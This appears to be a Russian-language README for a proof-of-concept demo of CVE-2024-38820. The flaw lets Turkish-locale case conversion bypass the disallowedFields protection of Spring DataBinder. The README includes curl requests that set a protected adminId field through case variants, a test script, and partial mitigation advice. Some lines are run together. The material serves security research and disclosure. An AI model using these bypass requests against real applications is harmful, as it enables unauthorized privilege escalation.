kadamnayan/poc-cve-2024-38820PoC-эксплойт для CVE-2024-38820, демонстрирующий обход защиты disallowedFields в Spring Framework DataBinder через преобразование регистра, зависящее от локали, с автоматическим тестированием и рекомендациями по смягчению.
Этот проект демонстрирует CVE-2024-38820 — уязвимость в DataBinder Spring Framework, которая позволяет обходить защиту disallowedFields из-за проблем преобразования регистра, зависящих от локали.
String.toLowerCase() зависит от локалиИсправление для CVE-2022-22968 сделало шаблоны disallowedFields нечувствительными к регистру с помощью String.toLowerCase(). Однако у этого метода есть исключения, зависящие от локали:
"ADMINID".toLowerCase() превращается в "adminıd" (с ı без точки)"ADMINID".toLowerCase() превращается в "adminid"Эта разница может позволить атакующим обойти защиту полей, используя определённые варианты регистра.
src/
├── main/java/com/example/demo/
│ ├── DemoApplication.java # Spring Boot main class
│ ├── controller/UserController.java # Vulnerable controller with @InitBinder
│ └── model/UserInfo.java # Model with protected adminId field
└── resources/application.properties # Locale configuration
test-cve-2024-38820.sh # Automated test script
pom.xml # Maven dependencies (Spring 5.3.39 - vulnerable)
# Build the project
mvn clean compile
# Run the application
mvn spring-boot:run
Приложение будет запущено на http://localhost:8081
Посетите тестовую конечную точку, чтобы увидеть информацию о локали:
http://localhost:8081/test
Попробуйте различные варианты имён полей:
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"
# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"
# Mixed case (may bypass)
curl "http://localhost:8081/user?username=test&AdminId=999"
# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"
Запустите комплексный тестовый скрипт:
./test-cve-2024-38820.sh
adminId=999 → ЗАБЛОКИРОВАНО (обычный регистр)ADMINID=999 → ОБХОД (верхний регистр)AdminId=999 → ОБХОД (смешанный регистр)ADMİNID=999 → ОБХОД (турецкая İ)adminId=999 → ЗАБЛОКИРОВАНО (обычный регистр)ADMINID=999 → ЗАБЛОКИРОВАНО (защищено)AdminId=999 → ЗАБЛОКИРОВАНО (защищено)Отредактируйте src/main/resources/application.properties:
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR
# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US
Также можно установить локаль JVM по умолчанию:
mvn spring-boot:run -Duser.language=tr -Duser.country=TR
@InitBinder настраивает disallowedFields("adminId")toLowerCase()"ADMINID".toLowerCase() ≠ "adminid"adminId устанавливаетсяПриложение записывает подробную информацию:
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'
Используйте сопоставление полей с учётом локали:
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
// Use English locale explicitly
dataBinder.setDisallowedFields("adminId");
// Additional protection: check field names with specific locale
}
Реализуйте собственную проверку полей, не полагающуюся на операции, зависящие от локали.
Это доказательство концепции предназначено только для образовательных целей и исследований в области безопасности. Используйте ответственно и только на системах, которыми вы владеете или на тестирование которых у вас есть явное разрешение.